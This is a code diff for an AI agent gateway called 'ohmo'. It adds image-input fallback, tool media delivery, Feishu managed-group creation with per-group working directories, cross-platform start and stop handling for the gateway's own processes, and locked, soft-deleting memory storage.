gateway_result = self._handle_gateway_scoped_command(command_name, args)
if gateway_result is not None:
message_text, refresh_runtime = gateway_result
result = CommandResult(message=message_text, refresh_runtime=refresh_runtime)
async for update in self._stream_command_result(
bundle=bundle,
message=message,
session_key=session_key,
user_prompt=user_prompt,
result=result,
):
yield update
return
result = await command.handler(
args,
CommandContext(
engine=bundle.engine,
hooks_summary=bundle.hook_summary(),
mcp_summary=bundle.mcp_summary(),
plugin_summary=bundle.plugin_summary(),
cwd=bundle.cwd,
tool_registry=bundle.tool_registry,
app_state=bundle.app_state,
session_backend=bundle.session_backend,
session_id=bundle.session_id,
extra_skill_dirs=bundle.extra_skill_dirs,
extra_plugin_roots=bundle.extra_plugin_roots,
),
get_command_context(),
)
async for update in self._stream_command_result(
bundle=bundle,
@@ -270,6 +410,7 @@ class OhmoSessionRuntimePool:
):
bundle.engine.set_system_prompt(self._runtime_system_prompt(bundle, user_prompt))
reply_parts: list[str] = []
emitted_media: set[str] = set()
yield GatewayStreamUpdate(
kind="progress",
text=_format_channel_progress(
@@ -281,8 +422,43 @@ class OhmoSessionRuntimePool:
),
metadata={"_progress": True, "_session_key": session_key},
)
previous_group_request = self._set_group_request_context(bundle, message, session_key)
try:
async for event in bundle.engine.submit_message(user_message):
if isinstance(event, ErrorEvent) and _should_retry_without_image_input(
event.message,
bundle.engine.messages,
):
logger.warning(
"ohmo runtime image input rejected; retrying without image blocks session_key=%s session_id=%s message=%r",
session_key,
bundle.session_id,
_content_snippet(event.message),
)
_strip_image_blocks_from_engine_history(bundle.engine)
yield GatewayStreamUpdate(
kind="progress",
text=_format_channel_progress(
channel=message.channel,
kind="image_fallback",
text=event.message,
session_key=session_key,
content=user_prompt,
),
metadata={"_progress": True, "_session_key": session_key, "_image_fallback": True},
)
async for retry_event in bundle.engine.continue_pending(max_turns=bundle.engine.max_turns):
async for update in self._convert_stream_event(
event=retry_event,
bundle=bundle,
message=message,
session_key=session_key,
content=user_prompt,
reply_parts=reply_parts,
):
_remember_update_media(emitted_media, update)
yield update
break
async for update in self._convert_stream_event(
event=event,
bundle=bundle,
@@ -291,6 +467,7 @@ class OhmoSessionRuntimePool:
content=user_prompt,
reply_parts=reply_parts,
):
_remember_update_media(emitted_media, update)
yield update
except MaxTurnsExceeded as exc:
yield GatewayStreamUpdate(
@@ -298,8 +475,13 @@ class OhmoSessionRuntimePool:
text=f"Stopped after {exc.max_turns} turns (max_turns).",
metadata={"_session_key": session_key},
)
self._restore_group_request_context(bundle, previous_group_request)
await self._save_snapshot(bundle, session_key, user_prompt)
return
except Exception:
self._restore_group_request_context(bundle, previous_group_request)
raise
self._restore_group_request_context(bundle, previous_group_request)
await self._save_snapshot(bundle, session_key, user_prompt)
reply = "".join(reply_parts).strip()
if reply:
@@ -309,10 +491,15 @@ class OhmoSessionRuntimePool:
bundle.session_id,
_content_snippet(reply),
)
final_media = _extract_final_reply_media(reply, emitted_media)
metadata: dict[str, object] = {"_session_key": session_key}
if final_media:
metadata.update({"_media": final_media, "_final_media_fallback": True})
yield GatewayStreamUpdate(
kind="final",
text=reply,
metadata={"_session_key": session_key},
metadata=metadata,
media=final_media or None,
)
async def _convert_stream_event(
@@ -408,6 +595,14 @@ class OhmoSessionRuntimePool:
bundle.session_id,
event.tool_name,
)
media = _extract_tool_media(event)
if media:
yield GatewayStreamUpdate(
kind="media",
text=_format_tool_media_caption(event, media),
metadata={"_session_key": session_key, "_media": media, "_tool_media": True},
media=media,
)
return
if isinstance(event, ErrorEvent):
logger.error(
@@ -426,12 +621,20 @@ class OhmoSessionRuntimePool:
reply_parts.append(event.message.text.strip())
async def _save_snapshot(self, bundle: RuntimeBundle, session_key: str, user_prompt: str) -> None:
tool_metadata = getattr(bundle.engine, "tool_metadata", {}) or {}
tool_metadata = _sanitize_group_command_metadata(getattr(bundle.engine, "tool_metadata", {}) or {})
if isinstance(getattr(bundle.engine, "tool_metadata", None), dict) and isinstance(tool_metadata, dict):
bundle.engine.tool_metadata.update(tool_metadata)
messages = _sanitize_group_command_prompts(list(bundle.engine.messages))
if messages != list(bundle.engine.messages):
if hasattr(bundle.engine, "load_messages"):
bundle.engine.load_messages(messages)
else:
bundle.engine.messages = messages
self._session_backend.save_snapshot(
cwd=self._cwd,
cwd=getattr(bundle, "cwd", self._cwd),
model=bundle.current_settings().model,
system_prompt=self._runtime_system_prompt(bundle, user_prompt),
messages=bundle.engine.messages,
messages=messages,
usage=bundle.engine.total_usage,
session_id=bundle.session_id,
session_key=session_key,
@@ -450,23 +653,33 @@ class OhmoSessionRuntimePool:
bundle: RuntimeBundle,
latest_user_prompt: str | None,
) -> RuntimeBundle:
snapshot = list(bundle.engine.messages)
snapshot = sanitize_conversation_messages(list(bundle.engine.messages))
prior_session_id = bundle.session_id
bundle_cwd = str(Path(getattr(bundle, "cwd", self._cwd)).resolve())
await close_runtime(bundle)
refreshed = await build_runtime(
cwd=self._cwd,
cwd=bundle_cwd,
model=self._model,
max_turns=self._max_turns,
system_prompt=build_ohmo_system_prompt(self._cwd, workspace=self._workspace, extra_prompt=None),
system_prompt=build_ohmo_system_prompt(bundle_cwd, workspace=self._workspace, extra_prompt=None),
active_profile=self._provider_profile,
session_backend=self._session_backend,
enforce_max_turns=self._max_turns is not None,
restore_messages=[message.model_dump(mode="json") for message in snapshot],
restore_tool_metadata=getattr(bundle.engine, "tool_metadata", {}) or {},
restore_messages=[message.model_dump(mode="json") for message in _sanitize_group_command_prompts(snapshot)],
restore_tool_metadata=_sanitize_group_command_metadata(getattr(bundle.engine, "tool_metadata", {}) or {}),
extra_skill_dirs=(str(get_skills_dir(self._workspace)),),
extra_plugin_roots=(str(get_plugins_dir(self._workspace)),),
memory_backend=create_memory_command_backend(self._workspace),
include_project_memory=False,
autodream_context={
"memory_dir": str(get_memory_dir(self._workspace)),
"session_dir": str(get_sessions_dir(self._workspace)),
"app_label": "ohmo personal memory",
"runner_module": "ohmo",
},
)
refreshed.session_id = prior_session_id
self._register_gateway_tools(refreshed)
await start_runtime(refreshed)
refreshed.engine.set_system_prompt(self._runtime_system_prompt(refreshed, latest_user_prompt))
self._bundles[session_key] = refreshed
@@ -479,17 +692,99 @@ class OhmoSessionRuntimePool:
return refreshed
def _runtime_system_prompt(self, bundle: RuntimeBundle, latest_user_prompt: str | None) -> str:
bundle_cwd = str(Path(getattr(bundle, "cwd", self._cwd)).resolve())
if not hasattr(bundle, "current_settings"):
return build_ohmo_system_prompt(bundle_cwd, workspace=self._workspace, extra_prompt=None)
settings = bundle.current_settings()
if not hasattr(settings, "system_prompt"):
return build_ohmo_system_prompt(self._cwd, workspace=self._workspace, extra_prompt=None)
return build_ohmo_system_prompt(bundle_cwd, workspace=self._workspace, extra_prompt=None)
return build_runtime_system_prompt(
settings,
cwd=self._cwd,
cwd=bundle_cwd,
latest_user_prompt=latest_user_prompt,
extra_skill_dirs=getattr(bundle, "extra_skill_dirs", ()),
extra_plugin_roots=getattr(bundle, "extra_plugin_roots", ()),
include_project_memory=False,
)
def _cwd_for_message(self, message: InboundMessage) -> str:
record = load_managed_group_record(
workspace=self._workspace,
channel=message.channel,
chat_id=message.chat_id,
)
cwd = record.get("cwd") if record else None
if not cwd:
return self._cwd
normalized = normalize_cwd(str(cwd))
if not Path(normalized).is_dir():
logger.warning(
"ohmo managed group cwd does not exist channel=%s chat_id=%s cwd=%s",
message.channel,
message.chat_id,
normalized,
)
return self._cwd
return normalized
def _register_gateway_tools(self, bundle: RuntimeBundle) -> None:
self._unregister_group_tool(bundle)
def _register_group_tool(self, bundle: RuntimeBundle) -> None:
if self._create_feishu_group is None or not hasattr(bundle, "tool_registry"):
return
if bundle.tool_registry is None or bundle.tool_registry.get(_GROUP_TOOL_NAME) is not None:
return
bundle.tool_registry.register(
OhmoCreateFeishuGroupTool(
workspace=self._workspace,
create_group=self._create_feishu_group,
publish_group_welcome=self._publish_group_welcome,
)
)
@staticmethod
def _unregister_group_tool(bundle: RuntimeBundle) -> None:
registry = getattr(bundle, "tool_registry", None)
tools = getattr(registry, "_tools", None)
if isinstance(tools, dict):
tools.pop(_GROUP_TOOL_NAME, None)
def _set_group_request_context(
self,
bundle: RuntimeBundle,
message: InboundMessage,
session_key: str,
) -> object:
metadata = getattr(bundle.engine, "tool_metadata", {})
previous = metadata.get("ohmo_group_request", _NO_GROUP_REQUEST)
if not message.metadata.get("_ohmo_group_command"):
metadata.pop("ohmo_group_request", None)
metadata.pop("_suppress_next_user_goal", None)
self._unregister_group_tool(bundle)
return _NO_GROUP_REQUEST
self._register_group_tool(bundle)
metadata["_suppress_next_user_goal"] = True
metadata["ohmo_group_request"] = {
"channel": message.channel,
"chat_type": str(message.metadata.get("chat_type") or "").strip().lower(),
"sender_id": str(message.sender_id),
"source_chat_id": str(message.chat_id),
"source_session_key": session_key,
"sender_display_name": message.metadata.get("sender_display_name"),
"raw_request": message.metadata.get("_ohmo_group_raw_request") or "",
"used": False,
}
return previous
@staticmethod
def _restore_group_request_context(bundle: RuntimeBundle, previous: object) -> None:
metadata = getattr(bundle.engine, "tool_metadata", {})
del previous
metadata.pop("ohmo_group_request", None)
metadata.pop("_suppress_next_user_goal", None)
OhmoSessionRuntimePool._unregister_group_tool(bundle)
def _content_snippet(text: str, *, limit: int = 160) -> str:
"""Return a compact single-line preview for logs."""
@@ -499,6 +794,148 @@ def _content_snippet(text: str, *, limit: int = 160) -> str:
return normalized[: limit - 3] + "..."
def _sanitize_snapshot_messages(raw_messages: object) -> list[dict[str, object]] | None:
"""Validate and sanitize restored messages from persisted ohmo snapshots."""
if not raw_messages or not isinstance(raw_messages, list):
return None
messages: list[ConversationMessage] = []
for raw in raw_messages:
try:
messages.append(ConversationMessage.model_validate(raw))
except Exception:
logger.warning("ohmo runtime skipped invalid restored message while sanitizing snapshot")
return [message.model_dump(mode="json") for message in _sanitize_group_command_prompts(messages)]
def _extract_tool_media(event: ToolExecutionCompleted) -> list[str]:
"""Return local media paths produced by a tool completion event."""
if event.is_error or not isinstance(event.metadata, dict):
return []
raw_paths = event.metadata.get("paths") or event.metadata.get("media")
if isinstance(raw_paths, str):
candidates = [raw_paths]
elif isinstance(raw_paths, list):
candidates = [str(item) for item in raw_paths if isinstance(item, str) and item.strip()]
else:
candidates = []
media: list[str] = []
seen: set[str] = set()
for raw in candidates:
path = Path(raw).expanduser()
if not path.is_absolute():
path = path.resolve()
if not path.is_file():
continue
resolved = str(path)
if resolved not in seen:
seen.add(resolved)
media.append(resolved)
return media
def _remember_update_media(seen: set[str], update: GatewayStreamUpdate) -> None:
"""Track media already emitted during this gateway turn."""
raw_media = update.media or (update.metadata or {}).get("_media") or []
if isinstance(raw_media, str):
candidates = [raw_media]
elif isinstance(raw_media, list):
candidates = [str(item) for item in raw_media if isinstance(item, str) and item.strip()]
else:
candidates = []
for raw in candidates:
try:
path = Path(raw).expanduser()
if not path.is_absolute():
path = path.resolve()
seen.add(str(path))
except Exception:
continue
def _extract_final_reply_media(reply: str, emitted_media: set[str]) -> list[str]:
"""Return local image paths mentioned in final text that were not already emitted."""
media: list[str] = []
seen = set(emitted_media)
for match in _FINAL_REPLY_IMAGE_PATH_RE.finditer(reply or ""):
raw = match.group("path").strip(" \t\r\n\"'.,;:,。;:、)]}")
if not raw:
continue
path = Path(raw).expanduser()
if not path.is_absolute():
continue
if not path.is_file():
continue
resolved = str(path)
if resolved in seen:
continue
seen.add(resolved)
media.append(resolved)
return media
def _format_tool_media_caption(event: ToolExecutionCompleted, media: list[str]) -> str:
"""Return a short caption for media generated by tools."""
if event.tool_name == "image_generation":
provider = ""
if isinstance(event.metadata, dict):
provider = str(event.metadata.get("provider") or "").strip()
suffix = f" via {provider}" if provider else ""
names = ", ".join(Path(path).name for path in media)
return f"已生成图片{suffix}{names}"
names = ", ".join(Path(path).name for path in media)
return f"已生成文件:{names}"
def _sanitize_group_command_prompts(messages: list[ConversationMessage]) -> list[ConversationMessage]:
"""Replace internal /group tool-driving prompts with durable user-facing history."""
return [_sanitize_group_command_prompt(message) for message in messages]
def _sanitize_group_command_prompt(message: ConversationMessage) -> ConversationMessage:
changed = False
content: list[TextBlock | ImageBlock] = []
for block in message.content:
if isinstance(block, TextBlock) and _GROUP_AGENT_PROMPT_PREFIX in block.text:
content.append(TextBlock(text=_format_group_command_history_note(block.text)))
changed = True
else:
content.append(block)
if not changed:
return message
return message.model_copy(update={"content": content})
def _format_group_command_history_note(prompt: str) -> str:
raw_request = prompt
if _GROUP_AGENT_PROMPT_REQUEST_MARKER in prompt:
raw_request = prompt.split(_GROUP_AGENT_PROMPT_REQUEST_MARKER, 1)[1].strip()
raw_request = raw_request.strip() or "(empty request)"
return f"[Handled /group request]\nThe user asked ohmo to create a Feishu group:\n{raw_request}"
def _sanitize_group_command_metadata(raw_metadata: object) -> object:
"""Remove internal /group tool-driving text from compact carry-over metadata."""
if not isinstance(raw_metadata, dict):
return raw_metadata
sanitized = dict(raw_metadata)
for key in _GROUP_METADATA_KEYS:
if key in sanitized:
sanitized[key] = _sanitize_group_command_metadata_value(sanitized[key])
return sanitized
def _sanitize_group_command_metadata_value(value: object) -> object:
if isinstance(value, str):
if _GROUP_AGENT_PROMPT_PREFIX in value:
return _format_group_command_history_note(value)
return value
if isinstance(value, dict):
return {key: _sanitize_group_command_metadata_value(item) for key, item in value.items()}
if isinstance(value, (list, tuple, set)):
return [_sanitize_group_command_metadata_value(item) for item in value]
return value
def _summarize_tool_input(tool_name: str, tool_input: dict[str, object]) -> str:
if not tool_input:
return ""
@@ -550,6 +987,10 @@ def _format_channel_progress(
return "🛠️ " + text.replace("Using ", "正在使用 ", 1)
return f"🛠️ {text}"
return text if text.startswith("🛠️ ") else f"🛠️ {text}"
if kind == "image_fallback":
if prefers_chinese:
return "🖼️ 当前模型不支持图片输入,我先改用附件路径和摘要继续。"
return "🖼️ The active model does not support image input. Ill retry with attachment paths and summaries."
if kind == "status":
normalized = text.strip()
if normalized == "Auto-compacting conversation memory to keep things fast and focused.":
@@ -627,6 +1068,60 @@ def _build_inbound_user_message(message: InboundMessage) -> ConversationMessage:
return ConversationMessage.from_user_content(content)
def _should_retry_without_image_input(error_message: str, messages: list[ConversationMessage]) -> bool:
"""Return True when a provider rejects image input and history contains images."""
if not _history_has_image_blocks(messages):
return False
normalized = error_message.lower()
image_signal = any(
phrase in normalized
for phrase in (
"image input",
"image_url",
"multimodal",
"vision",
"image content",
)
)
rejection_signal = any(
phrase in normalized
for phrase in (
"no endpoints found",
"not support",
"does not support",
"unsupported",
"cannot support",
"can't support",
)
)
return image_signal and rejection_signal
def _history_has_image_blocks(messages: list[ConversationMessage]) -> bool:
return any(any(isinstance(block, ImageBlock) for block in message.content) for message in messages)
def _strip_image_blocks_from_engine_history(engine) -> None:
messages = _strip_image_blocks_from_messages(list(engine.messages))
if hasattr(engine, "load_messages"):
engine.load_messages(messages)
else:
engine.messages = messages
def _strip_image_blocks_from_messages(messages: list[ConversationMessage]) -> list[ConversationMessage]:
return [_strip_image_blocks_from_message(message) for message in messages]
def _strip_image_blocks_from_message(message: ConversationMessage) -> ConversationMessage:
if not any(isinstance(block, ImageBlock) for block in message.content):
return message
content = [block for block in message.content if not isinstance(block, ImageBlock)]
if not any(isinstance(block, TextBlock) for block in content):
content.append(TextBlock(text=_IMAGE_FALLBACK_NOTE))
return message.model_copy(update={"content": content})
def _build_speaker_context(message: InboundMessage) -> str:
"""Return a lightweight speaker header for group-chat messages."""
metadata = message.metadata or {}
+168 -44
View File
@@ -13,6 +13,9 @@ import subprocess
import sys
from pathlib import Path
if sys.platform == "win32":
import ctypes
from openharness.channels.bus.events import OutboundMessage
from openharness.channels.bus.queue import MessageBus
from openharness.channels.impl.manager import ChannelManager
@@ -43,11 +46,19 @@ class OhmoGatewayService:
root = initialize_workspace(self._workspace)
os.environ["OHMO_WORKSPACE"] = str(root)
self._config = load_gateway_config(self._workspace)
if self._config.allow_remote_admin_commands and self._config.allowed_remote_admin_commands:
logger.warning(
"ohmo gateway remote administrative commands enabled commands=%s",
",".join(self._config.allowed_remote_admin_commands),
)
self._bus = MessageBus()
self._manager = ChannelManager(build_channel_manager_config(self._config), self._bus)
self._runtime_pool = OhmoSessionRuntimePool(
cwd=self._cwd,
workspace=self._workspace,
provider_profile=self._config.provider_profile,
create_feishu_group=self.create_group_for_user,
publish_group_welcome=self.publish_group_welcome,
)
self._stop_event: asyncio.Event | None = None
self._restart_requested = False
@@ -55,8 +66,11 @@ class OhmoGatewayService:
bus=self._bus,
runtime_pool=self._runtime_pool,
restart_gateway=self.request_restart,
workspace=root,
feishu_group_policy=str(
self._config.channel_configs.get("feishu", {}).get("group_policy", "managed_or_mention")
),
)
self._manager = ChannelManager(build_channel_manager_config(self._config), self._bus)
@property
def pid_file(self) -> Path:
@@ -70,6 +84,13 @@ class OhmoGatewayService:
def state_file(self) -> Path:
return get_state_path(self._workspace)
def _channel_last_error(self) -> str | None:
for name, channel in self._manager.channels.items():
error = getattr(channel, "last_error", None)
if error:
return f"{name}: {error}"
return None
def write_state(self, *, running: bool, last_error: str | None = None) -> None:
state = GatewayState(
running=running,
@@ -77,7 +98,7 @@ class OhmoGatewayService:
active_sessions=self._runtime_pool.active_sessions,
provider_profile=self._config.provider_profile,
enabled_channels=self._config.enabled_channels,
last_error=last_error,
last_error=last_error or self._channel_last_error(),
)
self.state_file.write_text(state.model_dump_json(indent=2) + "\n", encoding="utf-8")
@@ -100,6 +121,34 @@ class OhmoGatewayService:
if self._stop_event is not None:
self._stop_event.set()
async def create_group(self, message, name: str) -> str:
"""Create a managed group through the active channel implementation."""
if message.channel != "feishu":
raise RuntimeError(f"{message.channel} does not support managed group creation.")
return await self.create_group_for_user(str(message.sender_id), name)
async def create_group_for_user(self, user_open_id: str, name: str) -> str:
"""Create a managed Feishu group for a user open_id."""
channel = self._manager.get_channel("feishu")
if channel is None:
raise RuntimeError("Feishu channel is not enabled.")
creator = getattr(channel, "create_managed_group", None)
if creator is None:
raise RuntimeError("Feishu channel does not support managed group creation.")
result = creator(user_open_id=str(user_open_id), name=name)
return str(await result if asyncio.iscoroutine(result) else result)
async def publish_group_welcome(self, chat_id: str, content: str, owner_open_id: str) -> None:
"""Send a welcome message to a newly created managed group."""
await self._bus.publish_outbound(
OutboundMessage(
channel="feishu",
chat_id=chat_id,
content=content,
metadata={"chat_type": "group", "_session_key": f"feishu:{chat_id}:{owner_open_id}"},
)
)
def _exec_restart(self) -> None:
root = str(get_workspace_root(self._workspace))
argv = [
@@ -167,8 +216,18 @@ class OhmoGatewayService:
with contextlib.suppress(NotImplementedError):
loop.add_signal_handler(sig, _stop)
async def _state_heartbeat() -> None:
while not stop_event.is_set():
self.write_state(running=True)
await asyncio.sleep(5.0)
state_task = asyncio.create_task(_state_heartbeat(), name="ohmo-gateway-state")
try:
await stop_event.wait()
except Exception as exc:
self.write_state(running=False, last_error=str(exc))
raise
finally:
self._bridge.stop()
bridge_task.cancel()
@@ -177,6 +236,10 @@ class OhmoGatewayService:
await bridge_task
with contextlib.suppress(asyncio.CancelledError):
await manager_task
if not state_task.done():
state_task.cancel()
with contextlib.suppress(asyncio.CancelledError):
await state_task
if not restart_notice_task.done():
restart_notice_task.cancel()
with contextlib.suppress(asyncio.CancelledError):
@@ -200,7 +263,22 @@ def start_gateway_process(cwd: str | Path | None = None, workspace: str | Path |
if existing_pythonpath:
pythonpath_entries.append(existing_pythonpath)
env["PYTHONPATH"] = os.pathsep.join(pythonpath_entries)
popen_kwargs: dict = {
"cwd": service._cwd,
"stdout": None,
"stderr": None,
"env": env,
}
if sys.platform == "win32":
popen_kwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS # type: ignore[attr-defined]
popen_kwargs["stdin"] = subprocess.DEVNULL
else:
popen_kwargs["start_new_session"] = True
with service.log_file.open("a", encoding="utf-8") as log_file:
popen_kwargs["stdout"] = log_file
popen_kwargs["stderr"] = log_file
process = subprocess.Popen(
[
sys.executable,
@@ -212,56 +290,93 @@ def start_gateway_process(cwd: str | Path | None = None, workspace: str | Path |
service._cwd,
"--workspace",
str(get_workspace_root(workspace)),
"--no-console-log",
],
cwd=service._cwd,
stdout=log_file,
stderr=log_file,
start_new_session=True,
env=env,
**popen_kwargs,
)
return process.pid
def _pid_is_running(pid: int) -> bool:
try:
os.kill(pid, 0)
except OSError:
return False
return True
if sys.platform == "win32":
kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined]
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
handle = kernel32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
if not handle:
return False
try:
exit_code = ctypes.c_ulong()
if kernel32.GetExitCodeProcess(handle, ctypes.byref(exit_code)):
return exit_code.value == 259 # STILL_ACTIVE
return False
finally:
kernel32.CloseHandle(handle)
else:
try:
os.kill(pid, 0)
except OSError:
return False
return True
def _iter_workspace_gateway_pids(workspace: str | Path | None = None) -> list[int]:
root = str(get_workspace_root(workspace))
try:
result = subprocess.run(
["ps", "-eo", "pid=,args="],
capture_output=True,
text=True,
check=True,
)
except Exception:
return []
current_pid = os.getpid()
pids: list[int] = []
for line in result.stdout.splitlines():
line = line.strip()
if not line:
continue
if sys.platform == "win32":
try:
pid_text, args = line.split(None, 1)
pid = int(pid_text)
except ValueError:
continue
if pid == current_pid:
continue
if "-m ohmo gateway run" not in args:
continue
if f"--workspace {root}" not in args:
continue
if _pid_is_running(pid):
pids.append(pid)
return pids
result = subprocess.run(
["wmic", "process", "where",
f"commandline like '%-m ohmo gateway run%' and commandline like '%--workspace {root}%'",
"get", "processid"],
capture_output=True, text=True, check=True,
)
except Exception:
return []
current_pid = os.getpid()
pids: list[int] = []
for line in result.stdout.splitlines():
line = line.strip()
if not line or line.lower() == "processid":
continue
try:
pid = int(line)
except ValueError:
continue
if pid == current_pid:
continue
if _pid_is_running(pid):
pids.append(pid)
return pids
else:
try:
result = subprocess.run(
["ps", "-eo", "pid=,args="],
capture_output=True,
text=True,
check=True,
)
except Exception:
return []
current_pid = os.getpid()
pids = []
for line in result.stdout.splitlines():
line = line.strip()
if not line:
continue
try:
pid_text, args = line.split(None, 1)
pid = int(pid_text)
except ValueError:
continue
if pid == current_pid:
continue
if "-m ohmo gateway run" not in args:
continue
if f"--workspace {root}" not in args:
continue
if _pid_is_running(pid):
pids.append(pid)
return pids
def stop_gateway_process(cwd: str | Path | None = None, workspace: str | Path | None = None) -> bool:
@@ -281,9 +396,18 @@ def stop_gateway_process(cwd: str | Path | None = None, workspace: str | Path |
if not unique_pids:
service.pid_file.unlink(missing_ok=True)
return False
for pid in unique_pids:
with contextlib.suppress(ProcessLookupError):
os.kill(pid, signal.SIGTERM)
if sys.platform == "win32":
for pid in unique_pids:
with contextlib.suppress(Exception):
subprocess.run(
["taskkill", "/F", "/T", "/PID", str(pid)],
capture_output=True,
check=False,
)
else:
for pid in unique_pids:
with contextlib.suppress(ProcessLookupError):
os.kill(pid, signal.SIGTERM)
service.pid_file.unlink(missing_ok=True)
service.write_state(running=False)
return True
+95
View File
@@ -0,0 +1,95 @@
"""Persistent metadata for ohmo-managed chat groups."""
from __future__ import annotations
from dataclasses import asdict, dataclass, field
from datetime import datetime, timezone
import json
import re
from pathlib import Path
from typing import Any
from ohmo.workspace import get_groups_dir
@dataclass(frozen=True)
class ManagedGroupRecord:
"""Metadata for a chat group created and managed by ohmo."""
channel: str
chat_id: str
owner_open_id: str
name: str
created_at: str
cwd: str | None = None
repo: str | None = None
binding_status: str = "pending_agent"
metadata: dict[str, Any] = field(default_factory=dict)
def normalize_group_name(raw: str) -> str:
"""Return a safe Feishu group name from command text."""
name = " ".join(str(raw).strip().split())
if not name:
raise ValueError("Group name is required.")
if len(name) > 100:
raise ValueError("Group name is too long; keep it within 100 characters.")
return name
def group_record_path(
*,
workspace: str | Path | None,
channel: str,
chat_id: str,
) -> Path:
safe_chat_id = re.sub(r"[^A-Za-z0-9_.-]+", "_", str(chat_id)).strip("._") or "unknown"
return get_groups_dir(workspace) / channel / f"{safe_chat_id}.json"
def save_managed_group_record(
*,
workspace: str | Path | None,
channel: str,
chat_id: str,
owner_open_id: str,
name: str,
cwd: str | None = None,
repo: str | None = None,
binding_status: str = "pending_agent",
metadata: dict[str, Any] | None = None,
) -> Path:
"""Persist metadata for an ohmo-managed group and return the path."""
record = ManagedGroupRecord(
channel=channel,
chat_id=chat_id,
owner_open_id=owner_open_id,
name=name,
created_at=datetime.now(timezone.utc).isoformat(),
cwd=normalize_cwd(cwd) if cwd else None,
repo=repo,
binding_status=binding_status,
metadata=metadata or {},
)
path = group_record_path(workspace=workspace, channel=channel, chat_id=chat_id)
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(json.dumps(asdict(record), ensure_ascii=False, indent=2) + "\n", encoding="utf-8")
return path
def load_managed_group_record(
*,
workspace: str | Path | None,
channel: str,
chat_id: str,
) -> dict[str, Any] | None:
"""Load metadata for an ohmo-managed group if present."""
path = group_record_path(workspace=workspace, channel=channel, chat_id=chat_id)
if not path.exists():
return None
return json.loads(path.read_text(encoding="utf-8"))
def normalize_cwd(cwd: str | Path) -> str:
"""Normalize a cwd binding."""
return str(Path(cwd).expanduser().resolve())
+166 -16
View File
@@ -5,13 +5,37 @@ from __future__ import annotations
from pathlib import Path
from re import sub
from openharness.commands import MemoryCommandBackend
from openharness.memory.scan import scan_memory_files
from openharness.memory.schema import (
SCHEMA_VERSION,
coerce_int,
compute_memory_signature,
first_content_line,
format_datetime,
generate_memory_id,
memory_metadata_from_path,
render_memory_file,
split_memory_file,
utc_now,
)
from openharness.utils.file_lock import exclusive_file_lock
from openharness.utils.fs import atomic_write_text
from ohmo.workspace import get_memory_dir, get_memory_index_path
def list_memory_files(workspace: str | Path | None = None) -> list[Path]:
"""List ``.ohmo`` memory markdown files."""
memory_dir = get_memory_dir(workspace)
return sorted(path for path in memory_dir.glob("*.md") if path.name != "MEMORY.md")
return sorted(
header.path
for header in scan_memory_files(
_scan_cwd(workspace, memory_dir),
max_files=None,
memory_dir=memory_dir,
)
)
def add_memory_entry(workspace: str | Path | None, title: str, content: str) -> Path:
@@ -19,30 +43,113 @@ def add_memory_entry(workspace: str | Path | None, title: str, content: str) ->
memory_dir = get_memory_dir(workspace)
memory_dir.mkdir(parents=True, exist_ok=True)
slug = sub(r"[^a-zA-Z0-9]+", "_", title.strip().lower()).strip("_") or "memory"
path = memory_dir / f"{slug}.md"
path.write_text(content.strip() + "\n", encoding="utf-8")
with exclusive_file_lock(memory_dir / ".memory.lock"):
memory_type = "personal"
category = "preference"
body = content.strip() + "\n"
signature = compute_memory_signature(body, memory_type, category)
existing = scan_memory_files(
_scan_cwd(workspace, memory_dir),
max_files=None,
include_disabled=True,
include_expired=True,
memory_dir=memory_dir,
)
duplicate = next(
(header for header in existing if _effective_signature(header.path, header.signature) == signature),
None,
)
path = duplicate.path if duplicate is not None else _next_memory_path(memory_dir, slug)
now = utc_now()
now_text = format_datetime(now)
if path.exists():
metadata, old_body, _, _ = split_memory_file(path.read_text(encoding="utf-8"))
metadata = memory_metadata_from_path(
path,
metadata,
old_body,
now=now,
source=str(metadata.get("source") or "manual"),
default_type=memory_type,
default_category=category,
)
created_at = str(metadata.get("created_at") or now_text)
memory_id = str(metadata.get("id") or generate_memory_id(now))
else:
metadata = {}
created_at = now_text
memory_id = generate_memory_id(now)
metadata.update(
{
"schema_version": SCHEMA_VERSION,
"id": memory_id,
"name": title.strip(),
"description": first_content_line(body) or title.strip(),
"type": str(metadata.get("type") or memory_type),
"category": str(metadata.get("category") or category),
"importance": max(coerce_int(metadata.get("importance"), default=0), 1),
"source": "manual",
"signature": signature,
"created_at": created_at,
"updated_at": now_text,
"ttl_days": metadata.get("ttl_days"),
"disabled": False,
"supersedes": metadata.get("supersedes") or [],
}
)
atomic_write_text(path, render_memory_file(metadata, body))
index_path = get_memory_index_path(workspace)
existing = index_path.read_text(encoding="utf-8") if index_path.exists() else "# Memory Index\n"
if path.name not in existing:
existing = existing.rstrip() + f"\n- [{title}]({path.name})\n"
index_path.write_text(existing, encoding="utf-8")
index_path = get_memory_index_path(workspace)
existing_index = index_path.read_text(encoding="utf-8") if index_path.exists() else "# Memory Index\n"
if path.name not in existing_index:
existing_index = existing_index.rstrip() + f"\n- [{title}]({path.name})\n"
atomic_write_text(index_path, existing_index)
return path
def remove_memory_entry(workspace: str | Path | None, name: str) -> bool:
"""Delete a memory file and remove its index entry."""
"""Soft-delete a memory file and remove its index entry."""
memory_dir = get_memory_dir(workspace)
matches = [path for path in memory_dir.glob("*.md") if path.stem == name or path.name == name]
matches = [
header
for header in scan_memory_files(
_scan_cwd(workspace, memory_dir),
max_files=None,
include_disabled=True,
include_expired=True,
memory_dir=memory_dir,
)
if name in {header.path.stem, header.path.name, header.title, header.id}
]
if not matches:
return False
path = matches[0]
path.unlink(missing_ok=True)
header = matches[0]
if header.disabled:
return False
path = header.path
with exclusive_file_lock(memory_dir / ".memory.lock"):
content = path.read_text(encoding="utf-8")
metadata, body, _, _ = split_memory_file(content)
metadata = memory_metadata_from_path(
path,
metadata,
body,
source="manual",
default_type="personal",
default_category="preference",
)
metadata["disabled"] = True
metadata["updated_at"] = format_datetime(utc_now())
atomic_write_text(path, render_memory_file(metadata, body))
index_path = get_memory_index_path(workspace)
if index_path.exists():
lines = [line for line in index_path.read_text(encoding="utf-8").splitlines() if path.name not in line]
index_path.write_text("\n".join(lines).rstrip() + "\n", encoding="utf-8")
index_path = get_memory_index_path(workspace)
if index_path.exists():
lines = [
line
for line in index_path.read_text(encoding="utf-8").splitlines()
if path.name not in line
]
atomic_write_text(index_path, "\n".join(lines).rstrip() + "\n")
return True
